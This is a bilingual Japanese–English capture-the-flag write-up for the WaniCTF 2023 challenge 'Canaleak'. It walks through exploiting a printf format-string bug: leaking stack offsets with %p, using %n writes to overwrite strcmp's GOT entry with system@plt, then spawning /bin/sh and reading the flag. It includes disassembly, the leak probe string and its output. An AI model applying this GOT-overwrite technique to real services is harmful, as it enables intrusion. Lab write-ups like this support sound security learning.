06. Canaleak

TCPサーバの接続情報と、ファイル chall および chall.c が与えられた。

chall.c は、入力文字列を printf の第1引数として渡した後、 入力文字列を第1引数として strcmp 関数を呼び出し、返り値が非0ならばこれを繰り返す、という処理を含んでいた。

challfile コマンドを使うと、64ビットのELFファイルであることがわかったので、TDM-GCC の objdump で逆アセンブルを行った。
すると、以下の部分があった。

Information for connecting to a TCP server, and files chall and chall.c were given.

chall.c had a part that passes entered string as the first argument of printf function, and then call strcmp function with the entered string as the first argument, and repeat this if its return value is not zero.

I used the file command to the file chall. It revealed that the file is a 64-bit ELF file. Seeing this, I disassembled that using objdump in TDM-GCC.
I found this part in the result.

00000000004010d0 <system@plt>: 4010d0: f3 0f 1e fa endbr64 4010d4: f2 ff 25 55 2f 00 00 bnd jmpq *0x2f55(%rip) # 404030 <system@GLIBC_2.2.5> 4010db: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) 00000000004010e0 <printf@plt>: 4010e0: f3 0f 1e fa endbr64 4010e4: f2 ff 25 4d 2f 00 00 bnd jmpq *0x2f4d(%rip) # 404038 <printf@GLIBC_2.2.5> 4010eb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1) 00000000004010f0 <strcmp@plt>: 4010f0: f3 0f 1e fa endbr64 4010f4: f2 ff 25 45 2f 00 00 bnd jmpq *0x2f45(%rip) # 404040 <strcmp@GLIBC_2.2.5> 4010fb: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)

よって、アドレス 0x404040 に8バイトのデータ 0x00000000004010d0 を書き込めば、strcmpsystem に置き換え、入力したコマンドを実行できるようになるはずである。

これを行うため、そこまでに出力した文字数を指定の位置に書き込める printf の書式 %n を用いる。
さらに、以下の指定子も用いる。

まず、以下の文字列を送信した。

This is suggesting that we can replace strcmp with system and enable to execute entered command by writing 8-byte data 0x00000000004010d0 to the address 0x404040.

To achieve this, I used the %n specifier for printf, which writes the number of characters printed so far to the specified address.
I also used these modifiers.

To begin with, I sent this string.

%6$p_%7$p_%8$p_%9$p_____0000000011111111222222223333333344444444

すると、以下の文字列が出力された。

Then, this string is printed.

0x2437255f70243625_0x255f702438255f70_0x5f5f5f5f5f702439_0x3030303030303030_____0000000011111111222222223333333344444444

このことから、位置 9 が入力文字列の24バイト目 (0-origin) に対応することがわかる。

この性質を用い、以下の書き込みを行うデータ payload.bin を作成した。

This suggests that the position 9 corresponds to the 24th byte (0-origin) of the input string.

Using this characteristics, I created data payload.bin to write in these way:

payload.bin

このデータをTera Term の「ファイル送信」で送信すると、以下が出力された。

I sent this data via "Send File" on Tera Term. As a result, this string was printed:

sh: 1: %11%16d%12%48d%13%144d%14@@: not found

これは、strcmpsystem に置き換わり、入力した文字列をコマンドとして実行しようとしたことを示している。
そして、実行に失敗し、非0が返るため、もう一度入力ができる。
そこで、/bin/sh を入力すると、シェルを起動できる。

起動したシェルで ls -al コマンドを実行すると、ファイル FLAG があることがわかった。
cat FLAG コマンドを実行すると、flagが得られた。

This is because strcmp is replaced with system and it is trying to execute the string entered as a command.
The execution fails and a non-zero value is returned, so I have another chance to enter a string.
I succeeded to launch the shell by entering /bin/sh.

On the shell, I executed a command ls -al and found a file FLAG.
I obtained the flag by executing a command cat FLAG.

FLAG{N0PE!}

WaniCTF 2023